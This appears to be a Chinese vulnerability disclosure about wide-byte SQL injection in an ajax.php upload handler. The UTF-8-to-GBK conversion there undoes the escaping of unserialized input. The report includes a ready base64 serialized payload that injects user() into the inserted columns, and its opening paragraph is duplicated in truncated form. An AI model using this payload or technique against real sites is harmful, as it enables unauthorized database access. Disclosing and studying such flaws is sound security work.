### 简要描述: 20140604 ### 详细说明: 在ajax.php中 ``` else{ $file = unserialize(base64_decode($data)); /*foreach($file as $k=>$v){ $file[$k] = $db->escape($file[$v]); }*/ $file[file_id] = (int)$file[file_id]; $file[file_size] = (int)$file[file_size]; $file[file_description] = $db->escape(trim($file[file_description])); $file[file_extension] = $db->escape(trim($file[file_extension])); $file[file_name] = $db->escape(trim($file[file_name])); $num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'"); if($num && $file[file_id]){ $tmp_ext = $file[file_extension] ? '.'.$file[file_extension] : ''; $msg = $file[file_name].$tmp_ext; }else{ $report_status =0; $report_arr = explode(',',$settings['report_word']); if(count($report_arr)){ foreach($report_arr as $value){ if (strpos($file['file_name'],$value) !== false){ $report_status = 2; } } } $ins = array( 'yun_fid' => $file[file_id], 'file_name' => $file[file_name], 'file_key' => $file_key,...
### 简要描述: 20140604 ### 详细说明: 在ajax.php中 ``` else{ $file = unserialize(base64_decode($data)); /*foreach($file as $k=>$v){ $file[$k] = $db->escape($file[$v]); }*/ $file[file_id] = (int)$file[file_id]; $file[file_size] = (int)$file[file_size]; $file[file_description] = $db->escape(trim($file[file_description])); $file[file_extension] = $db->escape(trim($file[file_extension])); $file[file_name] = $db->escape(trim($file[file_name])); $num = @$db->result_first("select count(*) from {$tpf}files where yun_fid='{$file[file_id]}' and userid='$pd_uid'"); if($num && $file[file_id]){ $tmp_ext = $file[file_extension] ? '.'.$file[file_extension] : ''; $msg = $file[file_name].$tmp_ext; }else{ $report_status =0; $report_arr = explode(',',$settings['report_word']); if(count($report_arr)){ foreach($report_arr as $value){ if (strpos($file['file_name'],$value) !== false){ $report_status = 2; } } } $ins = array( 'yun_fid' => $file[file_id], 'file_name' => $file[file_name], 'file_key' => $file_key, 'file_extension' => $file[file_extension], 'file_mime' => 'application/octet-stream', 'file_description' => $file[file_description], 'file_size' => $file['file_size'], 'file_time' => $timestamp, 'is_checked' => $is_checked, 'in_share' => $in_share, 'report_status' => $report_status, 'userid' => $pd_uid, 'folder_id' => $folder_id ? $folder_id : -1, 'ip' => $onlineip, ); $sql = "insert into {$tpf}files set ".$db->sql_array($ins).";"; $db->query_unbuffered(is_utf8() ? $sql : iconv('utf-8','gbk',$sql)); } ``` 可以看到 都经过了escape 进行了转义。 但是在insert前 is_utf8() ? $sql : iconv('utf-8','gbk',$sql) 当为gbk的时候就会进行一次转换编码的操作 然后造成了宽字节注入。 錦 从UTF8 转成 GBK之后成了 %e5%5c '转义后为\' %e5%5c%5c%27 两个\\闭合。单引号出来 造成了注入。 $file[file_description] 这个会直接输出来 。 利用这个点来注入。 ### 漏洞证明: 对构造的语句序列化 和 base64_encode后得到 YToxOntzOjE0OiJmaWxlX2V4dGVuc2lvbiI7czoxOTQ6ImFzZOmMpicsZmlsZV9kZXNjcmlwdGlvbj11c2VyKCksYGZpbGVfbWltZWA9dXNlcigpLGBmaWxlX3NpemVgPXVzZXIoKSwgYGZpbGVfdGltZWA9dXNlcigpLCBgaXNfY2hlY2tlZGA9MSwgYGluX3NoYXJlYD0xLCBgcmVwb3J0X3N0YXR1c2A9dXNlcigpLCBgdXNlcmlkYD11c2VyKCksIGBmb2xkZXJfaWRgPXVzZXIoKSwgYGlwYD11c2VyKCkjIjt9 [<img src="https://images.seebug.org/upload/201406/06203227b4fc636b75d5afb5e0f0c1776b865b98.jpg" alt="p6.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/06203227b4fc636b75d5afb5e0f0c1776b865b98.jpg) 然后直接查看这文件 [<img src="https://images.seebug.org/upload/201406/062033138679802b578734c5e2019c7094150d96.jpg" alt="p7.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/062033138679802b578734c5e2019c7094150d96.jpg) 出现数据。